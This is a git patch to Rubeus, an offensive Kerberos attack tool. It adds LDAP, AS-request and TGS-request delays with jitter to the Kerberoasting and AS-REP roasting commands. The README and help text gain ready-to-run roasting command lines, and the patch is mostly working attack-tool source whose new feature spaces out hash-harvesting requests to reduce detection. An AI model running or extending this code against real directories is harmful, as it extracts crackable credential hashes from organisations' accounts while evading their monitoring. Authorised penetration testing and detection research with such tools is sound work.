From b201a10faee5cbecb582c676ea4091aacbf43c6a Mon Sep 17 00:00:00 2001 From: Remi Date: Fri, 25 Nov 2022 12:08:27 +0100 Subject: [PATCH] Add ldap delay during Kerberoast and Asreproast --- README.md | 24 +++++++++++++-- Rubeus/Commands/Asreproast.cs | 43 ++++++++++++++++++++++++++- Rubeus/Commands/Kerberoast.cs | 31 +++++++++++++------- Rubeus/Domain/Info.cs | 12 ++++++-- Rubeus/lib/Roast.cs | 55 ++++++++++++++++++++++++++++++----- 5 files changed, 141 insertions(+), 24 deletions(-) diff --git a/README.md b/README.md index a21d3348..aa981a07 100755 --- a/README.md +++ b/README.md @@ -243,8 +243,11 @@ Rubeus is licensed under the BSD 3-Clause license. Perform Kerberoasting, requesting tickets only for accounts whose password was last set between 01-31-2005 and 03-29-2010, returning up to 5 service tickets: Rubeus.exe kerberoast /pwdsetafter:01-31-2005 /pwdsetbefore:03-29-2010 /resultlimit:5 [/ldaps] [/nowrap] - Perform Kerberoasting, with a delay of 5000 milliseconds and a jitter of 30%: - Rubeus.exe kerberoast /delay:5000 /jitter:30 [/ldaps] [/nowrap] + Perform Kerberoasting, with a delay of 5000 milliseconds between TGS requests and a jitter of 30%: + Rubeus.exe kerberoast /tgsdelay:5000 /jitter:30 [/ldaps] [/nowrap] + + Perform Kerberoasting, with a delay of 500 seconds after the LDAP request and a jitter of 30%: + Rubeus.exe kerberoast /ldapdelay:500 /jitter:30 [/ldaps] [/nowrap] Perform AES Kerberoasting: Rubeus.exe kerberoast /aes [/ldaps] [/nowrap] @@ -260,7 +263,15 @@ Rubeus is licensed under the BSD 3-Clause license. Perform AS-REP "roasting" for any users without preauth using alternate credentials: Rubeus.exe asreproast /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU,..."] [/ldaps] [/nowrap] + + Perform AS-REP "roasting" for any users without preauth: + Rubeus.exe asreproast [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/nowrap] + + Perform AS-REP "roasting", with a delay of 5000 milliseconds between AS requests and a jitter of 30%: + Rubeus.exe asreproast /asdelay:5000 /jitter:30 [/ldaps] [/nowrap] + Perform AS-REP "roasting", with a delay of 500 seconds after the LDAP request and a jitter of 30%: + Rubeus.exe asreproast /ldapdelay:500 /jitter:30 [/ldaps] [/nowrap] Miscellaneous: @@ -3029,7 +3040,9 @@ If the `/pwdsetbefore:MM-dd-yyyy` argument is supplied, only accounts whose pass If the `/resultlimit:NUMBER` argument is specified, the number of accounts that will be enumerated and roasted is limited to NUMBER. -If the `/delay:MILLISECONDS` argument is specified, that number of milliseconds is paused between TGS requests. The `/jitter:1-100` flag can be combined for a % jitter. +If the `/tgsdelay:MILLISECONDS` argument is specified, that number of milliseconds is paused between TGS requests. The `/jitter:1-100` flag can be combined for a % jitter. + +If the `/ldapdelay:SECONDS` argument is specified, that number of seconds is paused after the LDAP request. The `/jitter:1-100` flag can be combined for a % jitter. If the `/enterprise` flag is used, the spn is assumed to be an enterprise principal (i.e. *user@domain.com*). This flag only works when kerberoasting with a TGT. @@ -3319,6 +3332,11 @@ The output `/format:X` defaults to John the Ripper ([Jumbo version](https://gith If the `/ldaps` flag is used, any LDAP queries will go over TLS (port 636). +If the `/asdelay:MILLISECONDS` argument is specified, that number of milliseconds is paused between AS requests. The `/jitter:1-100` flag can be combined for a % jitter. + +If the `/ldapdelay:SECONDS` argument is specified, that number of seconds is paused after the LDAP request. The `/jitter:1-100` flag can be combined for a % jitter. + + AS-REP roasting all users in the current domain: C:\Rubeus>Rubeus.exe asreproast diff --git a/Rubeus/Commands/Asreproast.cs b/Rubeus/Commands/Asreproast.cs index 11e9f7ed..28ea4c71 100755 --- a/Rubeus/Commands/Asreproast.cs +++ b/Rubeus/Commands/Asreproast.cs @@ -20,6 +20,9 @@ public void Execute(Dictionary arguments) string format = "john"; string ldapFilter = ""; string outFile = ""; + int ldapdelay = 0; + int asdelay = 0; + int jitter = 0; bool ldaps = false; System.Net.NetworkCredential cred = null; @@ -66,6 +69,44 @@ public void Execute(Dictionary arguments) ldaps = true; } + if (arguments.ContainsKey("/ldapdelay")) + { + ldapdelay = Int32.Parse(arguments["/ldapdelay"]); + if (ldapdelay < 1) + { + Console.WriteLine("[!] WARNING: ldap delay is in seconds! Please enter a value > 1."); + return; + } + } + + if (arguments.ContainsKey("/asdelay")) + { + asdelay = Int32.Parse(arguments["/asdelay"]); + if (asdelay < 100) + { + Console.WriteLine("[!] WARNING: delay is in milliseconds! Please enter a value > 100."); + return; + } + } + + if (arguments.ContainsKey("/jitter")) + { + try + { + jitter = Int32.Parse(arguments["/jitter"]); + } + catch + { + Console.WriteLine("[X] Jitter must be an integer between 1-100."); + return; + } + if (jitter <= 0 || jitter > 100) + { + Console.WriteLine("[X] Jitter must be between 1-100"); + return; + } + } + if (String.IsNullOrEmpty(domain)) { domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName; @@ -93,7 +134,7 @@ public void Execute(Dictionary arguments) cred = new System.Net.NetworkCredential(userName, password, domainName); } - Roast.ASRepRoast(domain, user, ou, dc, format, cred, outFile, ldapFilter, ldaps); + Roast.ASRepRoast(domain, user, ou, dc, format, cred, outFile, ldapFilter, ldaps, ldapdelay, asdelay, jitter); } } } \ No newline at end of file diff --git a/Rubeus/Commands/Kerberoast.cs b/Rubeus/Commands/Kerberoast.cs index 5b3f5918..e50916d7 100755 --- a/Rubeus/Commands/Kerberoast.cs +++ b/Rubeus/Commands/Kerberoast.cs @@ -29,7 +29,8 @@ public void Execute(Dictionary arguments) string pwdSetAfter = ""; string pwdSetBefore = ""; int resultLimit = 0; - int delay = 0; + int tgsdelay = 0; + int ldapdelay = 0; int jitter = 0; bool simpleOutput = false; bool enterprise = false; @@ -156,11 +157,21 @@ public void Execute(Dictionary arguments) // limit the number of roastable users resultLimit = Convert.ToInt32(arguments["/resultlimit"]); } - - if (arguments.ContainsKey("/delay")) + + if (arguments.ContainsKey("/ldapdelay")) + { + ldapdelay = Int32.Parse(arguments["/ldapdelay"]); + if (ldapdelay < 1) + { + Console.WriteLine("[!] WARNING: ldap delay is in seconds! Please enter a value > 1."); + return; + } + } + + if (arguments.ContainsKey("/tgsdelay")) { - delay = Int32.Parse(arguments["/delay"]); - if(delay < 100) + tgsdelay = Int32.Parse(arguments["/tgsdelay"]); + if(tgsdelay < 100) { Console.WriteLine("[!] WARNING: delay is in milliseconds! Please enter a value > 100."); return; @@ -242,13 +253,13 @@ public void Execute(Dictionary arguments) nopreauth = arguments["/nopreauth"]; } - if (!String.IsNullOrWhiteSpace(nopreauth) && (String.IsNullOrWhiteSpace(spn) && (spns == null || spns.Count < 1))) - { - Console.WriteLine("\r\n[X] /spn or /spns is required when specifying /nopreauth\r\n"); - return; + if (!String.IsNullOrWhiteSpace(nopreauth) && (String.IsNullOrWhiteSpace(spn) && (spns == null || spns.Count < 1))) + { + Console.WriteLine("\r\n[X] /spn or /spns is required when specifying /nopreauth\r\n"); + return; } - Roast.Kerberoast(spn, spns, user, OU, domain, dc, cred, outFile, simpleOutput, TGT, useTGTdeleg, supportedEType, pwdSetAfter, pwdSetBefore, ldapFilter, resultLimit, delay, jitter, listUsers, enterprise, autoenterprise, ldaps, nopreauth); + Roast.Kerberoast(spn, spns, user, OU, domain, dc, cred, outFile, simpleOutput, TGT, useTGTdeleg, supportedEType, pwdSetAfter, pwdSetBefore, ldapFilter, resultLimit, ldapdelay, tgsdelay, jitter, listUsers, enterprise, autoenterprise, ldaps, nopreauth); } } } \ No newline at end of file diff --git a/Rubeus/Domain/Info.cs b/Rubeus/Domain/Info.cs index fbea6df1..af1dc360 100755 --- a/Rubeus/Domain/Info.cs +++ b/Rubeus/Domain/Info.cs @@ -171,8 +171,11 @@ Rubeus.exe kerberoast /stats [/ldaps] [/nowrap] Perform Kerberoasting, requesting tickets only for accounts whose password was last set between 01-31-2005 and 03-29-2010, returning up to 5 service tickets: Rubeus.exe kerberoast /pwdsetafter:01-31-2005 /pwdsetbefore:03-29-2010 /resultlimit:5 [/ldaps] [/nowrap] - Perform Kerberoasting, with a delay of 5000 milliseconds and a jitter of 30%: - Rubeus.exe kerberoast /delay:5000 /jitter:30 [/ldaps] [/nowrap] + Perform Kerberoasting, with a delay of 5000 milliseconds between TGS requests and a jitter of 30%: + Rubeus.exe kerberoast /tgsdelay:5000 /jitter:30 [/ldaps] [/nowrap] + + Perform Kerberoasting, with a delay of 500 seconds after the LDAP request and a jitter of 30%: + Rubeus.exe kerberoast /ldapdelay:500 /jitter:30 [/ldaps] [/nowrap] Perform AES Kerberoasting: Rubeus.exe kerberoast /aes [/ldaps] [/nowrap] @@ -189,6 +192,11 @@ Rubeus.exe kerberoast /aes [/ldaps] [/nowrap] Perform AS-REP ""roasting"" for any users without preauth using alternate credentials: Rubeus.exe asreproast /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:""OU,...""] [/ldaps] [/nowrap] + Perform AS-REP ""roasting"", with a delay of 5000 milliseconds between AS requests and a jitter of 30%: + Rubeus.exe asreproast /asdelay:5000 /jitter:30 [/ldaps] [/nowrap] + + Perform AS-REP ""roasting"", with a delay of 500 seconds after the LDAP request and a jitter of 30%: + Rubeus.exe asreproast /ldapdelay:500 /jitter:30 [/ldaps] [/nowrap] Miscellaneous: diff --git a/Rubeus/lib/Roast.cs b/Rubeus/lib/Roast.cs index 4d2e2d0d..7c07a12d 100755 --- a/Rubeus/lib/Roast.cs +++ b/Rubeus/lib/Roast.cs @@ -13,7 +13,7 @@ namespace Rubeus { public class Roast { - public static void ASRepRoast(string domain, string userName = "", string OUName = "", string domainController = "", string format = "john", System.Net.NetworkCredential cred = null, string outFile = "", string ldapFilter = "", bool ldaps = false) + public static void ASRepRoast(string domain, string userName = "", string OUName = "", string domainController = "", string format = "john", System.Net.NetworkCredential cred = null, string outFile = "", string ldapFilter = "", bool ldaps = false, int ldapdelay = 0, int asdelay = 0, int jitter = 0) { if (!String.IsNullOrEmpty(userName)) { @@ -41,6 +41,27 @@ public static void ASRepRoast(string domain, string userName = "", string OUName } else { + + if (ldapdelay != 0) + { + Console.WriteLine($"[*] Using a delay of {ldapdelay} seconds after LDAP request."); + if (jitter != 0) + { + Console.WriteLine($"[*] Using a jitter of {jitter}% after LDAP request."); + } + Console.WriteLine(); + } + + if (asdelay != 0) + { + Console.WriteLine($"[*] Using a delay of {asdelay} milliseconds between AS requests."); + if (jitter != 0) + { + Console.WriteLine($"[*] Using a jitter of {jitter}% between AS requests."); + } + Console.WriteLine(); + } + string userSearchFilter = ""; if (String.IsNullOrEmpty(userName)) @@ -72,6 +93,7 @@ public static void ASRepRoast(string domain, string userName = "", string OUName Console.WriteLine("[X] No users found to AS-REP roast!"); } + Helpers.RandomDelayWithJitter(ldapdelay * 1000, jitter); foreach (IDictionary user in users) { string samAccountName = (string)user["samaccountname"]; @@ -80,6 +102,7 @@ public static void ASRepRoast(string domain, string userName = "", string OUName Console.WriteLine("[*] DistinguishedName : {0}", distinguishedName); GetASRepHash(samAccountName, domain, domainController, format, outFile); + Helpers.RandomDelayWithJitter(asdelay, jitter); } } @@ -181,7 +204,7 @@ public static void GetASRepHash(string userName, string domain, string domainCon } } - public static void Kerberoast(string spn = "", List spns = null, string userName = "", string OUName = "", string domain = "", string dc = "", System.Net.NetworkCredential cred = null, string outFile = "", bool simpleOutput = false, KRB_CRED TGT = null, bool useTGTdeleg = false, string supportedEType = "rc4", string pwdSetAfter = "", string pwdSetBefore = "", string ldapFilter = "", int resultLimit = 0, int delay = 0, int jitter = 0, bool userStats = false, bool enterprise = false, bool autoenterprise = false, bool ldaps = false, string nopreauth = null) + public static void Kerberoast(string spn = "", List spns = null, string userName = "", string OUName = "", string domain = "", string dc = "", System.Net.NetworkCredential cred = null, string outFile = "", bool simpleOutput = false, KRB_CRED TGT = null, bool useTGTdeleg = false, string supportedEType = "rc4", string pwdSetAfter = "", string pwdSetBefore = "", string ldapFilter = "", int resultLimit = 0, int ldapdelay = 0, int tgsdelay = 0, int jitter = 0, bool userStats = false, bool enterprise = false, bool autoenterprise = false, bool ldaps = false, string nopreauth = null) { if (userStats) { @@ -214,9 +237,19 @@ public static void Kerberoast(string spn = "", List spns = null, string return; } - if(delay != 0) + if (ldapdelay != 0) { - Console.WriteLine($"[*] Using a delay of {delay} milliseconds between TGS requests."); + Console.WriteLine($"[*] Using a delay of {ldapdelay} seconds after LDAP request."); + if (jitter != 0) + { + Console.WriteLine($"[*] Using a jitter of {jitter}% after LDAP request."); + } + Console.WriteLine(); + } + + if (tgsdelay != 0) + { + Console.WriteLine($"[*] Using a delay of {tgsdelay} milliseconds between TGS requests."); if(jitter != 0) { Console.WriteLine($"[*] Using a jitter of {jitter}% between TGS requests."); @@ -450,6 +483,12 @@ public static void Kerberoast(string spn = "", List spns = null, string // used to keep track of years that users had passwords last set in SortedDictionary userPWDsetYears = new SortedDictionary(); + if (!userStats) + { + // convert ldapdelay in ms + Helpers.RandomDelayWithJitter(ldapdelay*1000, jitter); + } + foreach (IDictionary user in users) { string samAccountName = (string)user["samaccountname"]; @@ -529,26 +568,26 @@ public static void Kerberoast(string spn = "", List spns = null, string } bool result = GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, simpleOutput, enterprise, dc, etype); - Helpers.RandomDelayWithJitter(delay, jitter); + Helpers.RandomDelayWithJitter(tgsdelay, jitter); if (!result && autoenterprise) { Console.WriteLine("\r\n[-] Retrieving service ticket with SPN failed and '/autoenterprise' passed, retrying with the enterprise principal"); servicePrincipalName = String.Format("{0}@{1}", samAccountName, domain); GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, simpleOutput, true, dc, etype); - Helpers.RandomDelayWithJitter(delay, jitter); + Helpers.RandomDelayWithJitter(tgsdelay, jitter); } } else { // otherwise use the KerberosRequestorSecurityToken method bool result = GetTGSRepHash(servicePrincipalName, samAccountName, distinguishedName, cred, outFile, simpleOutput); - Helpers.RandomDelayWithJitter(delay, jitter); + Helpers.RandomDelayWithJitter(tgsdelay, jitter); if (!result && autoenterprise) { Console.WriteLine("\r\n[-] Retrieving service ticket with SPN failed and '/autoenterprise' passed, retrying with the enterprise principal"); servicePrincipalName = String.Format("{0}@{1}", samAccountName, domain); GetTGSRepHash(servicePrincipalName, samAccountName, distinguishedName, cred, outFile, simpleOutput); - Helpers.RandomDelayWithJitter(delay, jitter); + Helpers.RandomDelayWithJitter(tgsdelay, jitter); } } }